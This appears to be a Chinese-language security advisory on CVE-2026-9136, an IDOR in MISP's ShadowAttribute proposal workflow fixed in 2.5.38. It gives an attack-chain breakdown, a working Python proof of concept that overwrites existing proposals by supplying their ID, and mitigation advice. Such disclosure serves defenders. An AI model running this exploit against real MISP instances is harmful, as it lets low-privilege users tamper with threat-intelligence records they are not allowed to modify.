IPBUF安全漏洞报告
English
CVE-2026-9136 CVSS 6.5 中危

CVE-2026-9136 MISP ShadowAttribute提案创建IDOR漏洞

披露日期: 2026-05-20
来源: 5a6e4751-2f3f-4070-9419-94fb35b644e8

漏洞信息

漏洞编号
CVE-2026-9136
漏洞类型
IDOR(不安全的直接对象引用)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
MISP (Malware Information Sharing Platform)

相关标签

IDORMISPShadowAttribute权限绕过批量赋值漏洞CVE-2026-9136中等严重性

漏洞概述

CVE-2026-9136是MISP(恶意软件信息共享平台)中的一个中等严重性安全漏洞。该漏洞存在于ShadowAttribute提案创建工作流中,由于add动作在处理用户提交的ShadowAttribute请求数据时,未能正确移除id字段,导致存在IDOR(不安全的直接对象引用)问题。攻击者利用此漏洞可以通过提供现有ShadowAttribute记录的ID来更新该记录,而非创建新的提案记录。这意味着经过身份验证的低权限用户可以修改本应无权访问的ShadowAttribute提案,可能影响与该用户不应修改的事件相关的提案。根据部署配置和API响应情况,此漏洞还可能导致提案数据在不同事件上下文之间的泄露或移动。

技术细节

该漏洞的根本原因在于框架对客户端提供的ID字段的信任。在ShadowAttribute提案创建流程中,系统直接使用用户提交的请求数据创建数据库记录,而没有对id字段进行过滤或重置。当框架检测到请求中包含id字段时,会将其解释为更新现有记录的指令,而非创建新记录。具体来说:1) 用户提交包含id参数的ShadowAttribute提案请求;2) 框架将id值作为主键处理;3) 数据库操作从INSERT变为UPDATE;4) 现有记录被覆盖而非创建新记录。攻击者可以利用此漏洞修改他人的ShadowAttribute提案内容,包括提案的描述、状态、关联事件等信息。此问题已在MISP 2.5.38版本中得到修复,修复措施为在处理请求数据时显式移除id字段,确保始终创建新记录。

攻击链分析

STEP 1
步骤1
攻击者获取MISP系统有效账户(低权限用户即可)
STEP 2
步骤2
攻击者识别目标ShadowAttribute记录及其ID(通过API或猜测)
STEP 3
步骤3
攻击者构造包含现有ShadowAttribute ID的提案创建请求
STEP 4
步骤4
系统处理请求,由于未移除id字段,框架将其识别为更新操作
STEP 5
步骤5
现有ShadowAttribute记录被攻击者提供的数据覆盖
STEP 6
步骤6
攻击成功,修改了本应无权修改的提案数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2026-9136 PoC - ShadowAttribute IDOR # Target: MISP < 2.5.38 TARGET_URL = "https://target-misp-instance.com" LOGIN_EMAIL = "[email protected]" LOGIN_PASSWORD = "password123" TARGET_SHADOW_ATTRIBUTE_ID = 12345 # ID of existing shadow attribute to modify EVENT_ID = 67890 # Target event ID def login(): """Authenticate to MISP and get authkey""" session = requests.Session() login_url = f"{TARGET_URL}/users/login" response = session.post(login_url, json={ "email": LOGIN_EMAIL, "password": LOGIN_PASSWORD }) return session if response.status_code == 200 else None def exploit_shadow_attribute_idor(session): """Exploit the IDOR vulnerability by providing existing ID""" # Normal proposal creation - creates new record normal_payload = { "ShadowAttribute": { "event_id": EVENT_ID, "category": "Internal reference", "type": "comment", "value": "Malicious proposal" } } # Malicious payload - overwrites existing record due to IDOR malicious_payload = { "ShadowAttribute": { "id": TARGET_SHADOW_ATTRIBUTE_ID, # Existing record ID "event_id": EVENT_ID, "category": "Internal reference", "type": "comment", "value": "Modified by attacker via IDOR" } } # Send malicious request exploit_url = f"{TARGET_URL}/shadow_attributes/add" response = session.post(exploit_url, json=malicious_payload) print(f"Response Status: {response.status_code}") print(f"Response Body: {response.text}") return response.status_code == 200 def main(): session = login() if session: success = exploit_shadow_attribute_idor(session) print(f"Exploit {'successful' if success else 'failed'}") else: print("Authentication failed") if __name__ == "__main__": main()

影响范围

MISP < 2.5.38

防御指南

临时缓解措施
立即将MISP升级到2.5.38或更高版本。在等待升级期间,可通过限制ShadowAttribute提案功能的访问权限、启用详细的操作审计日志、以及监控异常的提案修改行为来降低风险。建议同时审查API访问日志,查找是否存在异常的提案更新请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表